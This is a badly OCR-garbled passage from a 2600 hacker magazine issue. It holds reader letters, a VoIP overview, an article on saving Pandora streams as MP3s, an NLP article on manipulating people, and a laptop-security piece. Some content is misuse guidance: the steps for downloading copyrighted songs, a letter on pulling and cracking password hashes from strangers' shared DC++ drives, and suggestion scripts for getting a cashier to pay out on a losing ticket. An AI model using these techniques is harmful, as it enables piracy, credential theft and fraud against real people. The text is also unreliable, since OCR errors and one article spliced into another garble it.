ting the strengths of said system and exploiting

its weaknesses. The Hacker, unlike John Henr))
lives to see another day, buoyed by the resilient
effort of succeeding, again, at besting someone
else’s invention. Knowledge is power.

It's a pure form of a desire for freedom in a
society which seems all too frequently an invi-
tation to sell ourselves short or succumb to our
weaknesses.

Hackers by definition are like modern
day Harry Houdinis, escaping shackles yet
revealing the tricks so nobody feels they have
to stay sunk by any system designed to limit
intelligence or dignity.

What | like about hacking, as it oper-
ates on all levels from light social hacks to
deep programming or the re-engineering of
consumer devices to better serve our indi-
vidual needs, is that it is basically a matter
of constantly and intelligently placing mind
as king over this world of limitations. The
hacker is like Shiva, the Destroyer of lllusions,
engaging the world of constant change. You
are the part of the cosmos that penetrates and
brings higher order. You are the bringer of light,
or knowledge, to ignorance and oppression.

Indeed, technology  ought 1o serve
humanity, even to the extent that Kurzweil in
The Age of Spiritual Machines outlines in the
advancement of humanity through the merger
of eventual machines more powerful than our
massively parailel biological supercomputer
minds.

The hacker is a constant expression of that
ideal.

There must always be a place for review
of technology, a place where it is absolutely
humbled in the face of humanity. | admire
2600 for its courage and intelligence in staying
afloat despite government intrusion on their
efforts.

Ultimately the hacker is engaged in a
competition, through technology, against other
technologically savvy people.

Hacking as a concept ought to be
embraced by society as an outlet for growth
and change, part of every thinking person’s
toolkit as a mode of self-expression. Indeed,
every person in a democracy ought to position
in their consciousness as a point of inspiration
for overcoming limits, pushing for vet further
freedom. It ought to become a concept held by
every individual who seeks freedom for them-
selves and others. It ought to be regarded as a
tool of the artistry of the individualist, referred
to as needed, utilized wisely.

It seems a good avocation for those coura-
geous few who are willing to forgo their born
identities (no pun intended) to assume a “hack
name” and risk personal punishment in order
to expose broken systems at all levels, or to
escape oppression, or to fire a shot across
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410 bow to arrogant authorities. Never doubt
the seriousness of the role you play at this
crucial time in history. Build things that keep
people safer, smarter, or even merely amused,
Bewilder the unimaginative, and inspire the
flame-like imagination of the curious,

And above all, care for yourseli. Don't
expase yourself to harmiul risk while carrying
out vour work. Don't isolate. Keep friends.
Discuss your work, anonymously so i you
must,

Push it further: Hack vour body and mind
by eating and exercising as smart as you can
program, Hack the debt system of our country
by freeing yoursell of all debt and living on a
totally solvent basis. Quit booze, quit smoking,
quit anything that owns you. Strive for greater
freedom for yourself.

So as long as you are bringing light into
systems, also freely .Jpriy your mind to your-
sell. Help vourself feel stronger, better, freer,
deeper, more clear, more serene. Though
humbling at first, your actions will have more
power if you stand in realily.

Invite the light and, amidst shadows, be the
light. And remember that shadows mean more
than darkness - that they too are caused by
people, or things, standing in the light.

Let's hack.

lan 2.0

These words could very well be a remedy
for any future feelings of insignificance in
the hacker community. They could also help
inspire hackers to eventually control the world.
We'll keep our fingers crossed.

Taking Action

Dear 2600:

| know that | may represent a small parl
of your demographic in that | hope to work
within the criminal justice system someday
(assessment, alternative sentencing, reform)
and, for obvious reasons, have a strong, vested
interest in staying on this side of the law. That
said, I've been reading 2600 for about ten
years. You provide information that | think the
public should know but that people don't talk
about enough.

I've never wrilten a letter to you before
and wasn't sure if | should. | was just thinking/
hoping you might have a suggestion. I'm
guessing vou're one of the best resources in
this area.

| saw a horrible story on the news this
morning (clearly nothing new but 1 wondered
if I could do something about this one). Appar-
ently there is a seli-admitted (but not convicted)
pedophile, reported to be a 45-year-old Wash-
ington State resident with a website on which
he posts pictures of kids that he takes wher-

ever he finds them - seemingly with rvm.lri:‘i\
about which kids he could hug, cuddle, touch,
etc. He doesn't have a job and regularly goes
to places where he can find kids 10 photo-
graph. He is continually posting pictures of
unknowing kids on his site as fodder and/or
prospective prey for pedophiles and lists a
calendar of events at which predators can find
kids - complete with suggestions.

Allegedly he did an hour-long interview
on Fox (I'm sure this is not a {avorite source
ol information, but nevertheless as they aired
significant portions of the videotaped interview
the information appears to be credible), He
scemed very open about promoting the action
of adults touching children in jusi-this-side-
of-illegal ways. On the Fox site, he reportedly
said, "his "age of attraction’ is between three
and 11 years old," and was quoted as saying, 'l
guess the main thing is | just think they're cute,
a lol cuter than women. 1 admit there is kind
of an erotic arousal there." But, apparently,
no one can shut down his site, Further, all the
news attention is publicizing the site,

The website is supposedly titled, "Seattle-
Tacoma-Everett Girl Love." (I haven't been to
it. I would normally research anything before
writing to anyone for help but I'm not sure
how to access the site without leaving my 1P
address and | don't want to be associated with
that site in any way.)

Apparently, prosecutors are saying that
there is no currently legal way 1o prosecute
and/or just shut down the site (although his ISP
allegedly removed his site, it went back up).

I fully understand the importance of
freedom of speech and am not suggesting that
the law should tighten the reigns on any consti-
tutional freedoms (that we still have) although
Sealtle legislators are apparently working on it.
On the other hand, this man is just using legal
loopholes (he appears to be just the other side
of inciting or stalking or, arguably, hate speech
- but not over the line), and I'm just wondering
if there are any legal loopholes on the other
side, any loopholes that would allow some
form of redirecting traffic or causing problems
or shutting the site down. Is there any way a
person or community can use a legal means to
morally oppose and disrupt this site?

I have always helieved that it is crucial to
protect freedom of speech under the law, even
speech that | detest, | think that if the govern-
ment restricts freedom of speech much further
teven for a totally just purposei that the conse-
quences may be far-reaching and less just. |
don't support vigilante justice, either. I'm just
looking for something legal and creative. |
understand it may be a slippery slope.

Anon

It’s more like a sheer cliff you're '.m.rnﬁng)
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(-:}n. First off, someone who actively seeks
this amount of publicity is obviously looking
tor and benefiting from a big reaction. Such
a “shocking” case could even be part of an
intentional scheme to provoke public response
and force a demand to get rid of certain free-
doms, A bizarre scenario, granted, but not
that much more bizarre than the one we'e
expected to believe, Whatever the reason, it%s
not wise to play into this. Second, you can
bet any “legal loopholes” are already being
explored by legal teams. But most importantly,
it’s not up to us to impose “justice” on the net
any more than it’s up to anyone else with no
legal authority. While this is a case that may be
easy to support, any action taken could wind
up setting a very bad precedent insofar as how
hackers are seen by the rest of the world. The
examples you list (redirecting traffic, causing
problems, shutting the site down) do indeed
sound like vigilante justice and that’s far more
harmiul than anything this guy can say on his
website. There are ail sorts of legal remedies
which can be applied the moment an actual
crime is committed. In  addition, Internet
providers can act as they see fit and even
rewrite their Terms of Service to exclude this
sort of material. Pressure can be put on entities
that don't appear to be doing enough. In the
end. achieving justice in this way will be far
more meaningful than acting on an impulse,
which we suspect is the goal of those who put
this story together in the first place.

Security Issues

Dear 2600:

I've been an avid reader for nearly three
years to enlighten myselt about security and
the follies thereabout. It's hard for me to focus
hecause of ADHD, but 2600 is the only maga-
zine where | can just sit down and read from
cover to cover without concerning myself
with the distractions around me, even despite
the fact the pages aren't clad with 2Rice2Ri-
diculous cars or an adverisement with some
semi-hot lady provocatively benl over the
version of Webster's Dictionary.

It's sometimes comical but mostly sad that
average Joes don't realize the security threats
they sometimes pose to themselves by either a
lack of common knowledge or complete lazi-
ness to read up on the product they spent their
money on, such as setting up an unsecured
wireless G router in a populated apartment
complex in the middle of Los Angeles. The
exploit is set up from the get-go and the fault is
mostly due to the client themselves. OK, so as
for my contribution:

There is a popular filesharing program
called DC++ which interconnects people from

all over the world to share any type of file 0;\
their computer, be it photos, music, trojans,

etc. Much like the BifTorrent scene, there is

a heavy stress for people to share as much

as they download. With DC++, most of their
hubs (which connect the clients to each other,

each run independently - some can feature

anime, music, specific movie genres, xxx, elc.,)

require at least some shared data to connect

and start searching for your targeted file. Some

share requirements can be as little as Ogb,

which might not be appealing to some as a

good number of the clients may nol be sharing

anything at all. The higher share requirements

contain a bigger gold mine for your targel,

Trouble is some people are starting out fresh

and have nothing to share, albeit a few photos,

shareware, and [ree trials of AOL.

Desperate, looking for their designated
file, they share their entire hard drive upon
DC++'s installation. This includes their vital
OS folders, such as C:/Windows. | only know
of one vital file (I'm sure there are hundreds)
and that would contain cookie information.
Snoop around this file and you'll be able to
find logins and passwords in hash form, which
can quickly be decrypted using javaseript MD5
and SHAT crackers.

| recently read an article where a female
{minor) was charged with possession of child
pornagraphy, child abuse, and molestation
of hersell when she passed "lewd" phatos of
herself through the Internet willingly. Should
people who set themselves up for exploita-
tion in this form be punished for hacking
themselves?

lucidR]T

Yet another example of how some of the
legal issues being explored lately via the net
have been truly astounding.

Store Issues

Dear 2600:

In 24:1 the letters discuss fingerprint issues.,
The letters also discuss messed up bar codes.
By combining two problems, one arrives at a
solution: some jerk flipped through a copy of
2600 without buying it thus messing up the
bar code (the fingerprint issue ink got on their
thumbs). When a loyal reader wants to buy
that issue the bar code won't scan because it
has some jerk’s fingerprints on it. | tested this
theory out on a bar code reader and found that
it works.

Matthew

That's definitely unsettling if true. Yot
another reason not to have removable ink.

Dear 2600:
Just writing to let you know that the past
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two times |'ve bought your magazine at the
Borders in West Lebanon, New Hampshire
they manually entered the cade but the sales
receipt only showed “periodical.” To make sure
you get the proper sales credit I'm assuming it
should say “2600"¢
Raven
It really depends on the store software as
well as their policy on how they count issues. If
they can't read the bar code but instead enter
the numbers and find us in the database that
way, we have no problem with this. Nor is it
a point of contention if they simply enter the
price and credit us with the number of old
issues no longer in their store when the new
one comes out. But if they somehow lose track
of how many of our issues they sold (which
they often are: unwilling to concede) and then
jump to the conclusion that they didn't sell all
the issues that are no longer there, then we
do indeed have a huge problem. Its almost
impossible for customers or even publishers (o
know for sure when this is going on.

Dear 2600:

| have been following, out of professional
curiosity, the ongoing discussions in your
letters pages regarding the treatment of your
magazine in chain stores and newsstands. As
the Buyer for two large independent news-
stands in Chicago, | believe | can help shed
a little light. The answer you gave CPeanutG
(24:1) is incorrect. The bar code associated
with a magazine contains no embedded price
information. The intro digit plus the first five
represent a prefix. The second five digits are
the BIPAD, which is a unique identifying
number for every magazine, The final number
is a checksum. After these 12 numbers is a
two digit issue code. The prefix nearly always
begins with 0 or 7 (which represent generic
cammadities in UPC). The following five digits
of the prefix can be associated with a specific
publisher or wholesaler or be generic (the most
common generic prefix is 074470). In any
case, when the price of a magazine changes,
the prefix is usually changed as a courtesy to
the retailers. This prefix change prevents the
magazine from scanning into my POS system
and lets me know it's time to change the price
and update the bar code in my internal data-
base. Remember, the prefix changes when a
price change occurs, but any given prefix has
nothing to do with the price.

For example, your bar code on 24:1 is
725274 (prefix) 83158 (BIPAD) & (checksum)
71 (issue code representing 2007, issue one,
the standard format for quarterly titles). You
seem to be under the impression that the prefix
contains yourcover price ($6.25) because it was
changed when vour price changed. Compare
Qhat to the bar code on Maxim (an unfortu-

~

nate choice to be sure, as your magazine is
of incomparably better quality, but wvseful
nonetheless). The bar code on the April issue
of Maxim is 725274 (prefix) 03744 (BIPAD) 5
(checksum) 04 (issue code representing April
in the standard format for monthly titles). You
will note that the prefix is the same in both
cases; however their cover price is $4.99.

I'm not sure why Barnes and Naoble
wouldn't maintain price data for magazines in
their databases, as the letters by CPeanutG and
TwitcH indicated. It is possible they consider
it too labor intensive, but compared to the
manual inputting of prices and the potential
for error therein, [ don't know if it computes.

I hope you found this information useful or
interesting.

Ben

Thanks for straightening us out on that.
Its always very helpful to have people on the
inside explain how it all works.

Questions

Dear 2600:

I've got a question. I'm working on a news
podcast project with a few other folks and was
wondering if it would be all right if | used some
of the articles from the mag in the program
(either as news or a sort of “Hack of the Week”
type thing, depending upon what the article
covered).

Macavity

This kind of thing is definitely cool with us.

Dear 2600:

I didn't know who to write. | just wanted
to know whether or not on the cover of 24:1
that device is a cell phone jammer? If so, are
there any schematics that | can use to build
it Maybe it was in a past issue that | missed?
Can you can just point me in the right direc-
tion? I'm interested in using it in classrooms,
theaters, or even in traffic where people should
not be talking, etc.

Thanks from an avid Canadian reader since
back in the day.

M

Indeed that is a cell phone jammer on the
cover. This model is known as the RX9000
from a company called Global Gadget in the
U.K. We also printed a schematic and addi-
tional info in 23:4 on how to build the world’s
first apen source cell phone and wifi jammer.
Legalities on possession and operation of such
devices vary so you might want to check what
you're up against before taking the plunge.

Dear 2600:
What OS do you prefer: Windows, Linux,
or Mac?
Davis

We don't discuss religion here.
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by Toni-Sama

I was talking to a tech buddy of mine
during a visit home when the subject of
VolP-enabled cell phones came up. He was
insistent that the technology would never
come to pass because it simply wouldn't be
rofitable. | argued, saying it was the next
ogical step, and to prove him wrong I've
done a hit of homework. Now | don't think
the technology is widely available (or hacker-
friendly) yet, but with a host of manufacturers
(Nextel, Sprint, Qualcomm, and Motorola)
planning and developing VolP-friendly hand-
sets, | think we should prepare for this tech-
nology jump.

What is VolP?

VolIP is simply "Voice over  Infternet
Prolocol,” a stem of the Network Voice
Protocol from the days of ARPANET. It's
a fairly neat little thing, utilizing an IP-
connected computer and a POTS (Plain
Old Telephone System) line. The computer
connecls to a website, which receives the
POTS number from the computer, then
connects to the POTS line through the PBX
(Private Branch eXchange). The connec-
tion can also be through a dedicated system
or adapter), or even through a built-in
converter, VoIP has been widely utilized by
existing phone networks for the transfer of
data, which has given way 1o the "unlimited
local calling plans" of the major telephone
companics,

Now, ahviously, cell phones don't have
a built-in IP connection, so the connection
comes from one of two sources: Unlicensed
Mobile Access or Session Iniliation Protocol.

UMA is the "easy" choice because it
utilizes Bluetooth 1echnology to connect to
the PBX. UMA wuorks very well with Global
System for Mobile communications (GSM)
operators, and can also switch between
ValP and cellular networks easilv. Unfortu-
nately, as a downside of this ease, it's also
a bit pricier and it's currently only available
on phones with Bluetooth technology, a la
Molorola RAZR V3 and the V560, BT Group,
out of Greal Britain, offers packages thal
utilize VolP when the customer is at home. In
return for using VolP, the price is lower when
the network is used. The prices can get as low
as 55p for an entire hour of use.
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SIP is the other choice, .1Ithuu;;h it's
certainly less popular. SIP utilizes a Wi-Fi
router to connect to the Internet, which then
utilizes Real-Time Transport Protocol (RTP)
to communicate with a SIP router. The SIP
router interacts with the Public Switched
Telephone Network (PSTN) and the commu-
nication runs from there. The benefit of this
technology is that it connects lo the PSTN via
a software standard, not requiring a home
router. Unfortunately, you can currently only
call other utilizers of the technology because
of the G.711 standard. Likewise, onlv certain
phones can use the software (Nokia 60,
EGT, and ETOL.

The State of the Technology

To my knowledge, only two companies
offerVolP cellularservice, The [irst is the afore-
mentioned BT Group which offers service
in Great Britain. It utilizes a home service
plan and for the price of roughly US $120
you get a phone, modem, and a calling plan.
BT's phones use UMA. The other company
offering this is Truphone, a company offering
a beta test of the SIP for the Nokia E-Series
phones, with downloads coming soon for
the N-Series (NBO, N9 1, N92, and N93) and
Windows Mobile compatible phones. The
technology isn'l going to be limited for long,
though. Phillips Semiconductors is manu-
facturing UMA chips for cell phones, Texas
Instruments is coming oul with Wilink 4.0,
Ericsson is manufacturing UMA phones, and
Qualcomm, Nortel, Verizon, and Sprint are
all using a protocol called "EV-DO Revi-
sion A" Molorola, through Skype, is plan-
ning releases this spring, and this technology
is soon to be popular. At present, the more
popular option s to run over a managed
network, versus an unmanaged network (i.e.,
the Internet duc 1o voice quality concerns,

Uses and Abuses

Now if you're a hacker, vou understand
the great potential behind this, Cellular tech-
nology is going to he cheaper and possibly
even free (o begin with, since VoIP isn't
currently regulated). OF course, you'll still
have fo contend with quality, and interna-
tional calls are going to be funky tas per
usualy, but with the benefit of cellular service
you won'l have to worry about finding an
active connection slmuh‘?.\'nu really need to
make a call, perhaps in an emergency silua-
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tion. Also, because of the modern technology
of these phones (Truphone programs their
software in C++ on Symbian), these things
could possibly be tweaked, allowing data
transfers as well as digital voice communica-
tion. In the future, you might watch more than
TV on your celi phones, perhaps acquiring
audiotvideo communication. Think nstant
global video, with real-time audio. You could
communicate with your boss in China as you
organize vour meeling in New York. You
could chat with your international exchange
student in Germany from your home in
Canada. Soldiers could talk to their familics
and loved ones face-to-face. Hell, organize
a conference with your guild buddies on
WoW. See concerts live from other countrics.
The possibilities are limitless.

However, there are some negatives to it
at this time. If you live outside of the United
Slates or Great Britain, you face some diffi-
cufties. In Ethiopia, VoIP is illegal. In India,
you can't make a VoIP Gateway. Likewise,
fin American and Caribbean coun-

tries have imposed restrictions on VolP ducD
government-owned phone companies. Also,
at this time location registration for VoIP isn't
mandatory and can't easily be determined
from the calling phone. As a result, Caller 1D
will seldom work if jf works at all. It could
also casily be spoofed from a VoIP "land line,”
so presumably it could be spoofed from a
cell phane. In addition, mast consumer VolP
networks don't support encryption, so phone
calls could be intercepted and even changed.
This should be legislated soon, since govern-
ment is extremely interested in regulating
this new form of communication.

Know what I'd love to sce? Articles
giving more detail on the actual processes
of communication over Vol and POTS, and
some really detailed tech specs on VolP-
ready phones. So, all you phreaks out there,
get crackin'.

Thanks to Google, O'Reilly, Truphone,
BT Group, Wikipedia, and Anthony, who
inspired this work. Shout-outs to fesstka, Billy,
Bean, Gendo, and Troy.

ndora Hack

~ Get Free MP3s

y SickCodeMonkey
Applications such as BitTorrent give many
Internet users the ability to download free
music, applications, and movies from other
users. Because BitTorrent is one of the most
popular applications used to obtain copy-
righted material tillegally), BitTorrent trackers
have been a target of frequent raids and shut-
downs on behalf of the MPAA and RIAA.

Never fear hecause this article will show
you a whole new way to get the frec music
you're looking for and will also show you
how you can obtain it from online radio
stations, specifically Pandora. Please note,
my purpose in writing this articie is not to
have the lawycrs after Pandora or have them
taken off line, but rather to exploit a logic
bug in hopes that they too will see the light
and correct this breach.

In order to get free music from Pandora,
you will need to download a browser plugin.
For all of the Internet Explorer fans, you can
download a free tool calted HTTPWatch.
This tool can be downloaded by going to the
following URL: ke tp://www.httpwatch. com/
=download/. At first | was having issues with
finding a plugin compatible with Firefox
and then it dawned on me: Google "firefox
httpwatch®. The very first entry pointed me
to a nice little Fircfox extension (currently

in bela model called HTTPGuideDog. You
can download the GuideDog extension from
http:/ om/ 1 '].'Ir‘-_i-“gl,.
(Note: There are other Firefox extensions that
will perform the same function.) Both of the
recommended browser plugins will capture
“pet” and “post” requests with corresponding
response data from the browser session. Now
that you have the tools you need, it is time for
the free music.

You will first need to set up an account
on Pandora.com and create some of your
favorite “Music Stations.” Just as an example,
the first radio station | created was based
on the band Radiohead. fust as an aside,
both HTTPWatch and HTTPGuideDog have
almost iclentical features and will work in the
same way. Now is the time you will need to
turn on either HTTPWatch or HTTPGuid-
c¢Dog and start recording your Post and Get
data. When you start to hear music, you
should see the browser plugin recording alf
of your get and post data.

Il is casy to tell which http requests are
songs because Pandora will use a specific
domain  "htp/audio-..".  For example,
the first song that { saw in creating my

‘code ..google .« /p/hrepa /

radio station was 09:16:12.333  0.444
12345678 cET 200 application/octet-stream
http://a io-ixxx8-fex

5 .pan*l':'q.J
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process.
On that note, happy downloading.

by Marxc2001

I do not purport any of the information in
this article to be correct nor accurate. It is the
opinion of the author (me) only. The author
(me again!) does not accept responsibility for
anything that you may or may not do or not
do, nor anr consequences therein,

Neuro-linguistic  programming is one
of loday’s “buzzword” things to have as a
trainer. It is basically a mix of Chomskian
linguistics and behavioral psychology, inter-
mingled with a /ot of bullshit. Some of the
more paltry courses merely teach you the
models and methods. They expect you to
pay a lot of money for the privilege and

ou leave with nothing, | don’t wish this to
»ecome a harangue, but this does cheese me
off somewhat.

However, its more pure aspects, tech-
niques, and theories are quite appealing to
our furtive ways. | used to delight in having
my wicked way with computers — getting
them to log me in, rootkits, Trojans, and the
like — | was young and stupid. Then one day
| did something — | got onta and off a train.
I had hought a ticket, but the one that the
train manager had stamped was not valid for
that day nor exact route. It was strange — |
had been using an invalid ticket, but was so
sure, confident, and convinced that it was a
valid one that no one had seen fit to question
me, | tried this again but without buying a
valid ticket, Suffice to say, my nerves gave me
away and [ went and had to buy a full ticket
me feigned innocence, however, had saved

mcum,f'acceﬂsf 1234Ss?versicn—zscokeu;abf.datghijklmnopqrsr.u';wxyza.bdbcde[ghi.jklh
wnopqrstuvwxyzababecdefghijklmnopgrstuvwxyzabglid=123456789.
be concerned with the specific song URL: http://audio-ixxxd-fex25.pandora.com/
maccess/1234567version=2&tcken=abecdefghi jklmnopgretuvwxyzababedefghijklmnopgrstu
= vwxyzababedefghi jklmnopgretuvwxyzabelid=123456789. (Note: The URL used in this example
is a fake URL, so do not attempt to go to that URL.)

You will need to copy that URL and past it in a Firefox browser window. After submittin
the URL, you will quickly get a "Download Natification." Make sure
and do not open it. After the file has successfully downloaded,
of the file to include a file extension. The file that | downloaded was axxx2xs so | changed
the name to sxxx2x5.mp3. At this point, you have successfully downloaded a music file from
Pandora. Be careful because Pandora likes to queue up music requests, so if you are not
careful you will download the next song that will be played on your station.

If you are a coder you can take this logic to an extreme. One could theoretically build
a python script, or whatever language you feel most comfortable with, to automate this

You should only

u save the file to dis
u will need to edit the name

Adventures 1n

Behavioral Linguistics

me from the full wrath of the train manager).
I was still buzzing from that previous expe-
rience when a friend/mentor in the hacker
ways told me about “social engineering.”

Besides getting free food and the like in
a restaurant, social engineering didn’t seem
very useful nor intricate enough to me to
begin with, But | had a feeling that there must
be more that you can do. Then | discovered
NLP, and all of its psychological inferences,
techniques, methods, and myslerious (at the
time, anyway) ways. It was great. Suddenly
doing all sorts of weird and wonderful things
seemed not only possible, but easily within
the grasp of those who would work on the
techniques. It was not until | saw Derren
Brown’s Mind Control specials that | was
given a boost as to what could be done.
Beware, though, for in his shows there is a lot
of trickery and very clever deceptions (I can
say this being a magician myseli, special-
izing in Mental Magic). | am deeply skep-
tical about NLP ~ | don't trust the literature
around it any more than | could throw it, and
even that's too far ~ when studying this sort
of thing, the art is to weed out the crap from
the good stuff, Separate the wheat from the
chaff, so to speak. Once you learn how to do
that, then you are fulfilling a properly skep-
tical and healthy mindset.

Take this example: don't think of a black
cat! Qops, you just did. The reason that you
did isn't due to any “negative psychology”
bullshit that some people would have you
believe, It is because your subconscious
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(‘nind, skipping the negative “don't” in the
sentence IEas just heard the command “think
of a black cat,” and so it will immediately call
up the image of a black cat, witch and all,
from your memory for you to use. However,
in doing so you have unwillingly disobeyed
the command. This is one technique used in
advertising, for example.

My favorite example of these sorts of
things is a particular item that Derren Brown
did — the Walthamstow dog track piece. The
idea was simple — get a cashier at a dog
racing track to pay out on losing dogs. If you
haven't seen it, 20 10 http://www.youtube.
=com/watch?v=IT -Qcw404I. Now I'm not
ruling out the possibility that it was a stooge
(a confederate in the pay out window) but
let’s say that this was not tzc casc. That means
that some rather intercsting psychology is at
play here.

The general technique is based around
something termed as a “Pattern Interrupt.”
Much like the interrupts in a CPU, these
occur when something interrupts our pattern,
or flow, of thought. This triggers something
referred to as a “Trans-Derivational Search” -
a T1S. This is where our interrupted subcon-
scious mind panics and starts to look for
something to concentrate on, eliciting a state
of confusion that renders a person deeply
suggestible.

Imagine this — have you ever gone to shake
someone’s hand, only to find that just as your
hands are about 10 meet, they put their hand
up to their nose, wiggle their fingers, and
make “nyaa nya nya nyaa nyaaa” sounds?
Il you have, or seen it done, then you have
secn a pattern interrupt — the normal pattern
of behavior has been interrupted and has left
the subject/victim in a state of loss, and their
mind is looking for something to latch onto
so that it can continue its thought patterns.
It is at this stage, the TDS stage, that we can
implant lots of lovely suggestions to illicit the
behavior that is desired.

In the case of the Walthamstow dogs,
Derren Brown walks up to the window and
says, “This is the winning ticket.” The cashier
goes through the normal motions of vali-
dating the ticket, but she poes back and says
“Sorry, this is not a winning ticket,” at which
point Brown bangs his hand on the window
frame and says “This is the dog you're looking
for. Try again, you may have misread il.”

In this example you are interrupting the
cashier’s pattern, and telling her whilst she is
in that suggestible TDS state that “this is the
dog you're looking for” - that is, the cashiers
are looking for the winning dog number on
the ticket, and whilst they are in a slate of
TDS, you just tell them t%at this is the dog

™

that they are desperately looking for. You are
also giving her a rational reason as to why
she didn't just pay out on it (“Try again, you
may have misread it").

Another phrase that Brown uses in the
second part of this effect is this: “This is
the dog youre looking for — that’s why we
came to this window.” This plants the same
suggestion for the cashier as above — that
the winning dog that they look for on the
ticket is there — but has a second sugges-
tion that relies on verbal emphasis. Reread
the second sentence. Cot it? The suggestion
should be punctuated like this in your voice:
“That's why we came to this window.” See
it? “We came to win” is the suggestion and
it just emphasizes to the cashier that you are
a winner and as such are to be paid (after all,
that's what the cashier does!.

The one thing to emphasize about sugges-
tion is that scripting is very important, and
also getting these fluent is paramount. Also,
when doing anything, you must, must, must
just believe that it will work to give it its
best chance of doing so. This is tantamount
to succeeding with suggestion. If it doesn’t
work, just drop it and move on. Nothing
done, nothing damaged.

Take these theories and run with them. If
time permits there may be follow ups to this
article but the only limitation is your own
imagination, creativity, and resources — and
so it is for the resl of the hacker commu-
nity. | have released this mini-tut in light of
a complete absence of information about
this sort of stuff, and a thirst for knowledge
regarding this. This article has covered very
basic suggestion and  pattern  interrupts.
Other interesting areas are anchors, hypnotic
language, trance slate inductions and manip-
ulation, models and internal representations
to name but a few.

As you can see, this is very interesting to
look ar. There are many such techniques and
examples of these things all over the Internct,
media, and in books. | will not list many
here, but the few | recommend are:

Teach Yoursell NLP by Steve Bavister and
Amanda Vickers. This is a very good summary
of NLP core theory and not a lot of bullshit
within its pages.

Tricks of the Mind by Derren Brown. Just
released, this is the first book that consoli-
dates the things that he is interested in
and dabbles in. A very good read and very
informative.

Have fun. Be good. Use responsibly.
Remember - Derren had a TV crew behind
him to pay back the dog track.

You don’t.
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Transmissions

by Dragorn

It's probably a safe assumption that
everyone reading this magazine is already
paranoid, but how paranoid are you and are
vou paranoid enough (or for that matter, too
muc !\ which carries its own risks)?

A proper level of paranoia isn't about
thinking that the potted plant is planning to
assault your sleep. It's about making intelli-
gent choices to protect yourself, your privacy,
your finances, your job, and, depending on
where you live (and what you choose to do),
your freedom. The cost of having vour data
compromised is ultimately the driving factor
behind security decisions. None of us are
particularly excited al the prospect of losing
our privacy, bank details, or our jobs because
of a security bug. In a targeted attack, the cost
of compromise may be even higher - source
code modified to introduce backdoors or
security vulnerabilities prior to distribution,
records altered, or employer data compro
mised... and these are just the risks to your
workstation.

Securily in the real world is the balance
between paranoia and practicality. The most
secure system is one turned off, encased in
cement, and at the bottom of a quarrv. Despite
the seemingly universal acknowledgment of
the importance of securing systems, a large
amount of incorrect or outdated information
still exists. The guidelines presented here
are by no means a canonical answer to the
problem of securing yourself, but hopefully
thinking about side attacks to conventional
wisdom helps in devising proper plans. Most
of the proposed solutions focus on Linux,
solely through familiarity, but the ideas will
help protect you on whatever system you're
running. Feed your paranoia and keep
reading.

"Never run normal applications as root
(or administrator).” Obviously this is a good
idea which hopefully most readers adhere
to, but the simplest implementation of this
guideline is to run all your applications as
your normal user, which for protecting your
data is just as bad. A root-level compromise
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sives an attacker access to all your data. But
huw many files on your system are owned by
the same user you use o run Firefox, Pidgin,
and IRC? What prevents a compromise in any
of those applications from giving access 1o all
your files? Enforcing per-application security
is vital for preventing vulnerabilities in one
‘]I_Epliraliun from compromising all of them.
e easiest method of locking down appli-
cations is by dividing up the users they run
as. On *nix systems, this is relatively simple
and can be done with “sudo” and some shell
scripts to launch each application as a sepa-
rate user (and even allow each application
limited access to other restric |(-(} applica-
tions, such as opening a URL) or by changing
the ownership of the applications and using
the SUID bit. Segregating all your appli-
cations into different users with restricted
permissions isn't the only answer, but it's a
strong first step.
Strong passwords are sufficient.” Simply
wit, no, they're not. [‘N[ll'l ially not on a
aptop. With a laptop, you face two unique
risks: theft (either random or targeted) and
easy physical access. The risks from both are
similar. No matter how strong your login pass-
words are, if someone can boot the system
with external media or remove the drive and
mount it on another system, all your secu-
rity measures are moot. Access rights and
file protection rely on the operating system
to enforce them, and when you no longer
control the operating system reading the
disk, your data is toast. Again, fortunately, the
solution is fairly simple: Strong crypto, either
at the filesystem or disk level. There are a
wide range of tools to implement disk crypto
on various platforms. The LUKS system uses
changeable keys for full device cryptography
and is native to Linux but has Windows
tools to operate on it. Full-disk encryption
typically operates at the operating system's
evice layer, emulating a block device (i.e., a
drive). All 1O to the drive is encrypted at the
block level, including the filesystem itsell.
Full device crypto has the advantage of auto-
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rgmli('ally encrypting all data placed on that
volume - including cache files, temp files,
and others which might not be included in
selective encryption. It also has the advantage
that any "ghosts" left on the drive (partially
deleted files and incompletely erased data,
or a drive which has not been reformatted
with alternating patterns designed 1o wipe
out any magnetic remnants of data) are also
encrypted. On modern systems, the impact
of performing encryption on every block is
minimal, and as the CPU increases in speed
the performance hit will continue to drop.
"Strong crypto is sufficient.” But didn't 1
just say strong crypto was a good solution for
laptops? Well, yes, but that's not the entire
story. Edging further from mainstream risks
are the attacks against the hardware itself.
Externally facing buses - |IEEE1384, USB, and
Cardbus/ExpressSlot-allow devicestointeract
with the system, often below the control of
the operating system. Gaining access to the
memory of a running system enables reading
of cached files, cached crypto keys, or modi-
fying the system to allow access to an aclive
encrypted filesystem. These attacks are not so
far-fetched - system debugging and imaging
hardware to exploit weaknesses like these
exists today, and at least one company is
advertising the availability of a USB device
which extracts all the info from a system.
Unfortunately, when it comes 1o hardware-
level vulnerabilities, there is only one good
solution: Go to the hardware store, buy some
epoxy, and fill in the external ports. This prob-
ably isn't an acceptable solution for most
people - and wouldn't stop someone with the
resources and time to open a running system
and connect to the internal leads for the bus.
If you're facing attackers with that much

talking about.

2600
PO Box 752
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If you missed out on our latest conference (or if you were there and some-
how managed to miss one of the more than 7o talks given), may we suggest
getting ahold of our HOPE Number Six DVDs?

There’s no way we can list them all here but if you go to
http://store.2600.com/hopenumbersix.html you'll get a sense of what we're

We still have leftover shirts too. For s20 you get a
HOPE shirt, a conference badge, a conference program,
and a HOPE sticker. Overseas add ss for shipping.

Middle Island, NY 11953 USA

determination, chances are you shouldn't bo\.
trusting your data to a laptop.

"I only need to encrypt the [messages |
files | drives] which are sensitive." Another
piece of conventional wisdom which,
while true, may not tell the whole story. As
mentioned above when discussing full disk
encryption versus per-file encryption, there
may be files gencrated for temporary storage,
caching, copies left while moving files, etc.
These files can easily be missed when doing
per-file encryption. Encrypting only sensi-
tive communications and files carries the
additional risk of making it easier to target
“interesting” data: If | know someone only
encrypts emails in which they talk about
sensitive information, | know that if | have
an encrypted email from them it's prob-
ably worth trying to decrypt. Form a habit
of encrypting everything, at all times, except
when your recipient can't decrypt it for some
reason. GPG integration with email clients
is trivial to configure, as are dynamic SSH
tunnels (ssh user@host -1 9999) which func-
tion as SOCKS proxies. OTR (Off The Record)
